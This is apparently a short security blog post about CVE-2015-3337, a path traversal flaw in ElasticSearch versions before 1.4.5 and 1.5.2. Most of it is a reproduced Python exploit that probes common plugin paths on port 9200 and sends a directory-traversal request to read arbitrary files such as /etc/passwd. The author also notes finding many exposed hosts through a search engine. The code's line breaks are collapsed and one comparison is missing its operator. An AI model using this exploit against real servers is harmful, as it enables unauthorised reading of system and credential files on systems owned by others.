ElasticSearch exposes the Local Arbitrary File Read vulnerability, affecting all versions earlier than 1.4.5 and 1.5.2.
Recently, exploit-db has revealed the Local Arbitrary File Read vulnerability caused by Path Transversal, which affects all versions earlier than 1.4.5 and 1.5.2. I tried several times on zoomeye and found that the affected area of the vulnerability is quite large.
Vulnerability exploitation (POC)
#!/usr/bin/python# Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign# Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net# Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/## Source: https://github.com/pandujar/elasticpwn/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n"if len(sys.argv) 3: print "Ex: %s www.example.com /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http porthost = sys.argv[1]fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/%s/../../../../../..%s HTTP/1.0\n" "Host: %s\n\n" % (plugin, fpath, host)) file = s.recv(2048) print " [*] Trying to retrieve %s:" % fpath if ("HTTP/1.0 200 OK" in file): print "\n%s" % file else: print "[-] File Not Found, No Access Rights or System Not Vulnerable" def pfind(plugin): try: socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/%s/ HTTP/1.0\n" "Host: %s\n\n" % (plugin, host)) file = s.recv(16) print "[*] Trying to find plugin %s:" % plugin if ("HTTP/1.0 200 OK" in file): print "[+] Plugin found!" grab(plugin) sys.exit() else: print "[-] Not Found " except Exception, e: print "[-] Error connecting to %s: %s" % (host, e) sys.exit() # Include more plugin names to check if they are installedpluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] for plugin in pluginList: pfind(plugin)